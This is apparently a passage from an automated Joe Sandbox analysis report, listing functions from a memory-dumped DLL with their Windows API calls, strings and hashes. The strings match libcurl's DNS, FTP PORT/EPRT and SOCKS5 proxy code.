WSAGetLastError.WS2_32 ref: 6B6C1728
EnterCriticalSection.KERNEL32(?), ref: 6B6C173B
LeaveCriticalSection.KERNEL32(?), ref: 6B6C1749
send.WS2_32(?,?,00000001,00000000), ref: 6B6C1778
WSAGetLastError.WS2_32 ref: 6B6C1782
LeaveCriticalSection.KERNEL32(?), ref: 6B6C1790

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CriticalErrorLastSection$Leave$Entercurl_msnprintfgetaddrinfosend
String ID:
API String ID: 1592919352-0
Opcode ID: 31f7f343508174b5c2a5f49438565bbb3e12dd81bffc949d545c7eac986e72aa
Instruction ID: 431a854138dc254588308927b72f378d46f77fcf58eb6134e7449db850bcff70
Opcode Fuzzy Hash: 31f7f343508174b5c2a5f49438565bbb3e12dd81bffc949d545c7eac986e72aa
Instruction Fuzzy Hash: B0217F71500609DBDB219FB5CC85BABBBF8EF05300F10452AE666D3250EB35E915CBA5

Function 6B6D84A0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_pton.WS2_32(00000002,00000000,?), ref: 6B6D8590
inet_pton.WS2_32(00000017,00000000,?), ref: 6B6D85C0

Strings

Hostname %s was found in DNS cache, xrefs: 6B6D850A
)<lk, xrefs: 6B6D84B0
)<lk, xrefs: 6B6D863C
)<lk, xrefs: 6B6D8515

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: inet_pton
String ID: )<lk$)<lk$)<lk$Hostname %s was found in DNS cache
API String ID: 1350483568-3671802404
Opcode ID: 1c28eafcb50f3711334e6d1174d04fe58609dc9bf351ed409e48cacdd613dded
Instruction ID: 356f66995a02274debb31f0126a8ce06fd1ff0848e54ff8c884d9b3d939e2fd2
Opcode Fuzzy Hash: 1c28eafcb50f3711334e6d1174d04fe58609dc9bf351ed409e48cacdd613dded
Instruction Fuzzy Hash: 5961E5B1D00209ABDB118BB4DC46BFFBBB8EF05328F0011A5E914B6291E7785A15CBE5

Function 6B6D1650 Relevance: 6.2, APIs: 4, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

curl_multi_remove_handle.LIBCURL(?), ref: 6B6D1681
curl_multi_cleanup.LIBCURL(?), ref: 6B6D1691
curl_slist_free_all.LIBCURL(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B6D1904

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_multi_cleanupcurl_multi_remove_handlecurl_slist_free_all
String ID:
API String ID: 3107128920-0
Opcode ID: 7d09ce2e7191af035cb1e8f6d66df7902976baac0e5090d9848ab54a849070cc
Instruction ID: 6ce3f8b9e2d62156689427ca7a2a7d36190fc0afffa378f0d2f767684dfe2421
Opcode Fuzzy Hash: 7d09ce2e7191af035cb1e8f6d66df7902976baac0e5090d9848ab54a849070cc
Instruction Fuzzy Hash: AB6152B8001B90DBDB216FB0DD0ABC67FE5BF0530AF00485AE5AE52654C7B9B054CF65

Function 6B6C9E30 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a322f10b3873b807f612451f5fb050e4e8b84df307eaafe1eeccae1deeb89b
Instruction ID: 15175e5a1453be4b8627e4ad3f3ce228d32a0340ccbcd95a4dcbd3ea0a822d5e
Opcode Fuzzy Hash: 72a322f10b3873b807f612451f5fb050e4e8b84df307eaafe1eeccae1deeb89b
Instruction Fuzzy Hash: 76014EB1E0121467DB2259759CC1BAB7B6CCF55A5CF0400A9EC0CA7283D7288C0183F2

Function 6B6C2A60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6C2B71
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6C2BA0

Strings

Connection time-out, xrefs: 6B6C2C83

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: Connection time-out
API String ID: 885266447-165637984
Opcode ID: 5b287ab0d8453ec230e27cae544457afd2878332ac730b8cec12dff7ce44126f
Instruction ID: e18efaf4b1d3f5ba7d7f9a25b5939464115666edf26541ca5fef084593084e37
Opcode Fuzzy Hash: 5b287ab0d8453ec230e27cae544457afd2878332ac730b8cec12dff7ce44126f
Instruction Fuzzy Hash: BF71AEB1E006058FDB14CF68C985BABB7B5FF84314F1491B9EC18AB351E7369942CB81

Function 6B6F07E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(00000008,?,?,00000000), ref: 6B6F07EE
WSAGetLastError.WS2_32(?,6B6F737C,?,?,00000008,?), ref: 6B6F07FB

Strings

|sok, xrefs: 6B6F081E, 6B6F0801

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLastrecv
String ID: |sok
API String ID: 2514157807-1847581065
Opcode ID: dc9ce6d7090bd6e90c7468e110a5b9ddd298d6537c754885b622d4eb5261dae7
Instruction ID: 79449fb72f6e1e6c788e7dd7e6d48e92b1ac703c5c5d4f0ac18e72ecaac282de
Opcode Fuzzy Hash: dc9ce6d7090bd6e90c7468e110a5b9ddd298d6537c754885b622d4eb5261dae7
Instruction Fuzzy Hash: 97E09A3020820CAFDF058F70DC0475E3BA6EF45320F504568F9298A3D0C732E922AB50

Function 6B6C6E10 Relevance: 4.6, APIs: 3, Instructions: 146
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(?,?,?,6B72B330), ref: 6B6C6E2E
freeaddrinfo.WS2_32(6B72B330,?,?,6B72B330,?), ref: 6B6C6F4C
WSASetLastError.WS2_32(00002AF9,?,?,6B72B330,?), ref: 6B6C6F99

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLastfreeaddrinfogetaddrinfo
String ID:
API String ID: 1817844550-0
Opcode ID: 8ce6bc7a58fa13c4e975ad497f221630ff0aaa238399f03e126b200a974cfad6
Instruction ID: 8a556fb604b0ef39da94450002e8a6a60a58b41d8dc0d3a3614f34c7306c7daf
Opcode Fuzzy Hash: 8ce6bc7a58fa13c4e975ad497f221630ff0aaa238399f03e126b200a974cfad6
Instruction Fuzzy Hash: 1A51ACB1E047069FDB10CF99D580AABB7F6FF08700B0485AAE869D7310DB34E914CB96

Function 6B718360 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(6B6C16D0,6B6C1218,6B718204,00000000,00000000,6B6C16D0), ref: 6B7183A9
GetLastError.KERNEL32(?,?,?,6B6C9136,00000000,00000000,6B6C16D0,6B6C1218,00000000,00000000), ref: 6B7183B5
__dosmaperr.LIBCMT ref: 6B7183BC

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: cb1c2a65bb690c2852bc6fcb33557736ebc7b5ee01a47790e36c1377a1c1566e
Instruction ID: cd7e61a9c2ddc8395a91efc6d5fc96cf6c9aac73c00bc716d5f6bcb9b5e2405d
Opcode Fuzzy Hash: cb1c2a65bb690c2852bc6fcb33557736ebc7b5ee01a47790e36c1377a1c1566e
Instruction Fuzzy Hash: B0017172519219EFDF058FB1CE0AA9F7BA8EF05368F084169F81196150DB78DA10DBB0

Function 6B6C4740 Relevance: 4.5, APIs: 3, Instructions: 36networkCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(00000000,00000000), ref: 6B6C4758
getsockopt.WS2_32(00000004,0000FFFF,00001007,00000000,00000004), ref: 6B6C4773
WSAGetLastError.WS2_32 ref: 6B6C477D

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLastSleepgetsockopt
String ID:
API String ID: 3033474312-0
Opcode ID: 981614887e6f4e3990a0934c32735697c2cac64b467a01e1bb88bd669affa606
Instruction ID: 1a04d7915d622916ff959933d586207f485dcb38849459008142b878a37478ad
Opcode Fuzzy Hash: 981614887e6f4e3990a0934c32735697c2cac64b467a01e1bb88bd669affa606
Instruction Fuzzy Hash: 79F062B4640209EBEF10CFA1C8457AF7BBCEB02701F3040A5E9149A280D7B9E6059B62

Function 6B6C1050 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,00000000,00000048), ref: 6B6C115D

Strings

getaddrinfo() thread failed to start, xrefs: 6B6C11AA

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: getaddrinfo() thread failed to start
API String ID: 32694325-737161664
Opcode ID: d7c0f14cf1dcaa2895762afdd043dbba35dc4c173aad8b0f5260942afae8b6a4
Instruction ID: d5907aff6c7e7cad9d9b896a3c74404a97b10d48d0623e5cbe7b3ff73e920cc7
Opcode Fuzzy Hash: d7c0f14cf1dcaa2895762afdd043dbba35dc4c173aad8b0f5260942afae8b6a4
Instruction Fuzzy Hash: D25102B0D00216EBEB009F64DD4578A7BB4FF05305F048275ED08AF291EB79E5A4CBA2

Function 6B6EA660 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,TElk), ref: 6B6EA67A

Strings

TElk, xrefs: 6B6EA66E, 6B6EA671

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ioctlsocket
String ID: TElk
API String ID: 3577187118-5412025
Opcode ID: 777a9e0a120773bd9c12984bca9776edbeec28584b1393350a1fcef7df128116
Instruction ID: 279cae252922e87f3b8a67348f99b97c5e077ee9ae74560c35b77968098e0aae
Opcode Fuzzy Hash: 777a9e0a120773bd9c12984bca9776edbeec28584b1393350a1fcef7df128116
Instruction Fuzzy Hash: 6ED0EA7240120CEFCB019EB1D8059DA7BADEA08225B01C43AB9299A121EB35EA65DF95

Function 6B6E7990 Relevance: 1.6, APIs: 1, Instructions: 79networkCOMMON

Download Yara Rule

APIs

WSACloseEvent.WS2_32(50000000), ref: 6B6E7A66

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CloseEvent
String ID:
API String ID: 2624557715-0
Opcode ID: 3f94b156909a17b129d85bdbadd28921d77b4c41217619fdb8ceb5482eb37a57
Instruction ID: 596b34a400ba2a8053a04f5327cd3ac84727bacf5fb03c3bc136459c4800a429
Opcode Fuzzy Hash: 3f94b156909a17b129d85bdbadd28921d77b4c41217619fdb8ceb5482eb37a57
Instruction Fuzzy Hash: 1F2125B28066109BEB218F70DC85BAB7BECFF04318F0404A9EA185B186D77AE545C7B5

Function 6B6C2370 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

curl_easy_init.LIBCURL ref: 6B6C2375

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_easy_init
String ID:
API String ID: 4195830768-0
Opcode ID: 6835e8f418b762be03355f4502828c7c85d0bf8bb874fe3edcabbfc67356e05b
Instruction ID: 70ddd35908b2cc42aa31a5223a20f0c134f9f04f7269c9453a9ab095f70fcdb6
Opcode Fuzzy Hash: 6835e8f418b762be03355f4502828c7c85d0bf8bb874fe3edcabbfc67356e05b
Instruction Fuzzy Hash: 65F0B4B33001146BD7005AA9AC80AEBF798FB80178B400177F90CC7601D76AE51146E6

Function 6B71F78D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000364,00000000,?,6B71F6DD,00000001,00000364,00000015,000000FF), ref: 6B71F7CE

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: af2e8038ee0a37df2c0c973657565df9b8b4418a7d3a2d7186417e2f8c926c23
Instruction ID: 9b960bd6782b4d3bfb54dba0ec9b74e7ca7c6a24ce8ce7ce35e8959f98cf90ac
Opcode Fuzzy Hash: af2e8038ee0a37df2c0c973657565df9b8b4418a7d3a2d7186417e2f8c926c23
Instruction Fuzzy Hash: 90F0B43264D52557EB116A769F45F4E7748BF82B71F994073F824AE980DB7CD80046B0

Function 6B6D8A20 Relevance: 1.5, APIs: 1, Instructions: 26networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000017,00000002,00000000), ref: 6B6D8A3D

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: ca6380a81f37ac30c7b45174390560f6c3f87d352932611ece0b3fcd15a21b82
Instruction ID: 862a37d50e8fece41468c9ab4c59a603f00a3145c60c0ca5b08fe1a4ab7a2709
Opcode Fuzzy Hash: ca6380a81f37ac30c7b45174390560f6c3f87d352932611ece0b3fcd15a21b82
Instruction Fuzzy Hash: 32E086742843046AE9004AA8AC46FE537D84B05725F4452E1F52C9F6F1C761E841A661

Non-executed Functions

Function 6B6CEEA0 Relevance: 63.7, APIs: 23, Strings: 13, Instructions: 663networkCOMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6CEFA1
_strncpy.LIBCMT ref: 6B6CEFC7
___from_strstr_to_strchr.LIBCMT ref: 6B6CEFE8
inet_pton.WS2_32(00000017,?,?), ref: 6B6CF006
___from_strstr_to_strchr.LIBCMT ref: 6B6CF078
___from_strstr_to_strchr.LIBCMT ref: 6B6CF0A9
curl_pushheader_bynum.LIBCURL(?,00000000,00000401), ref: 6B6CF135
getsockname.WS2_32(?,?,?), ref: 6B6CF1CC
WSAGetLastError.WS2_32(?,00000100), ref: 6B6CF1E2
WSAGetLastError.WS2_32 ref: 6B6CF2ED
bind.WS2_32(FFFFFFFF,00000017,00000080), ref: 6B6CF396
WSAGetLastError.WS2_32 ref: 6B6CF3A4
getsockname.WS2_32(?,00000017,00000080), ref: 6B6CF407
WSAGetLastError.WS2_32(?,00000100), ref: 6B6CF452

Part of subcall function 6B6FA0E0: GetLastError.KERNEL32(?,?,00000100), ref: 6B6FA0E7

Part of subcall function 6B6F05D0: curl_mvsnprintf.LIBCURL(?,00000100,6B6EC830,?), ref: 6B6F0610

Strings

,%d,%d, xrefs: 6B6CF66C
bind() failed, we ran out of ports!, xrefs: 6B6CF773
bind(port=%hu) on non-local address failed: %s, xrefs: 6B6CF3DB
failed to resolve the address provided to PORT: %s, xrefs: 6B6CF798
EPRT, xrefs: 6B6CF703
Failure sending EPRT command: %s, xrefs: 6B6CF72D
getsockname() failed: %s, xrefs: 6B6CF1EF, 6B6CF45F, 6B6CF507
PORT, xrefs: 6B6CF686
socket failure: %s, xrefs: 6B6CF325, 6B6CF542
%s %s, xrefs: 6B6CF68B
bind(port=%hu) failed: %s, xrefs: 6B6CF495
Failure sending PORT command: %s, xrefs: 6B6CF6B0
%s |%d|%s|%hu|, xrefs: 6B6CF70E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast$___from_strstr_to_strchr$getsockname$_strncpybindcurl_mvsnprintfcurl_pushheader_bynuminet_pton
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 1437543408-2383553807
Opcode ID: 1b45e6247f2ea19263b19b467038a5306abcc8995438a904f3c83bc1c0f1910b
Instruction ID: e497d2d7e6369d43606155165a06c8afcfac8610740c287c0d06fe8494a88be3
Opcode Fuzzy Hash: 1b45e6247f2ea19263b19b467038a5306abcc8995438a904f3c83bc1c0f1910b
Instruction Fuzzy Hash: F732E6F1D441299BDB208F34CD45BEFB7BAEF45304F0441E6E818A3141DB3A9A958FA6

Function 6B6F75D0 Relevance: 56.9, APIs: 1, Strings: 31, Instructions: 939COMMON

Download Yara Rule

Strings

SOCKS5 GSSAPI per-message authentication is not supported., xrefs: 6B6F7A2F
SOCKS5 connect to IPv6 %s (locally resolved), xrefs: 6B6F7EB5
SOCKS5 GSS-API protection not yet implemented., xrefs: 6B6F802E
Unable to send initial SOCKS5 request., xrefs: 6B6F78B0
Failed to resolve "%s" for SOCKS5 connect., xrefs: 6B6F7F06
connection to proxy closed, xrefs: 6B6F821A
Received invalid version in initial SOCKS5 response., xrefs: 6B6F7940
Connection to proxy closed, xrefs: 6B6F790D
SOCKS5 connection to %s not supported, xrefs: 6B6F7EDE
Unable to receive initial SOCKS5 response., xrefs: 6B6F7861
SOCKS5 reply has wrong version, version should be 5., xrefs: 6B6F80DE
warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu, xrefs: 6B6F7737
unknown, xrefs: 6B6F760C
Can't complete SOCKS5 connection to %s. (%d), xrefs: 6B6F8118
Unable to receive SOCKS5 sub-negotiation response., xrefs: 6B6F7C2C
:%d, xrefs: 6B6F7D63
Failed to send SOCKS5 sub-negotiation request., xrefs: 6B6F7BA7
Excessive user name length for proxy auth, xrefs: 6B6F7AC3
Excessive password length for proxy auth, xrefs: 6B6F7B23
Undocumented SOCKS5 mode attempted to be used by server., xrefs: 6B6F7A7B
SOCKS5 request granted., xrefs: 6B6F8259
User was rejected by the SOCKS5 server (%d %d)., xrefs: 6B6F7C75
SOCKS5: connecting to HTTP proxy %s port %d, xrefs: 6B6F76ED
SOCKS5 connect to IPv4 %s (locally resolved), xrefs: 6B6F7DD3
Failed to send SOCKS5 connect request., xrefs: 6B6F7FED
SOCKS5 reply has wrong address type., xrefs: 6B6F81F2
Unable to negotiate SOCKS5 GSS-API context., xrefs: 6B6F7A0B
No authentication method was acceptable., xrefs: 6B6F7A57
SOCKS5 connect to %s:%d (remotely resolved), xrefs: 6B6F7F70
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu], xrefs: 6B6F7712
Failed to receive SOCKS5 connect request ack., xrefs: 6B6F809F, 6B6F81CE

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf$curl_msnprintf
String ID: :%d$Can't complete SOCKS5 connection to %s. (%d)$Connection to proxy closed$Excessive password length for proxy auth$Excessive user name length for proxy auth$Failed to receive SOCKS5 connect request ack.$Failed to resolve "%s" for SOCKS5 connect.$Failed to send SOCKS5 connect request.$Failed to send SOCKS5 sub-negotiation request.$No authentication method was acceptable.$Received invalid version in initial SOCKS5 response.$SOCKS5 GSS-API protection not yet implemented.$SOCKS5 GSSAPI per-message authentication is not supported.$SOCKS5 connect to %s:%d (remotely resolved)$SOCKS5 connect to IPv4 %s (locally resolved)$SOCKS5 connect to IPv6 %s (locally resolved)$SOCKS5 connection to %s not supported$SOCKS5 reply has wrong address type.$SOCKS5 reply has wrong version, version should be 5.$SOCKS5 request granted.$SOCKS5: connecting to HTTP proxy %s port %d$SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu]$Unable to negotiate SOCKS5 GSS-API context.$Unable to receive SOCKS5 sub-negotiation response.$Unable to receive initial 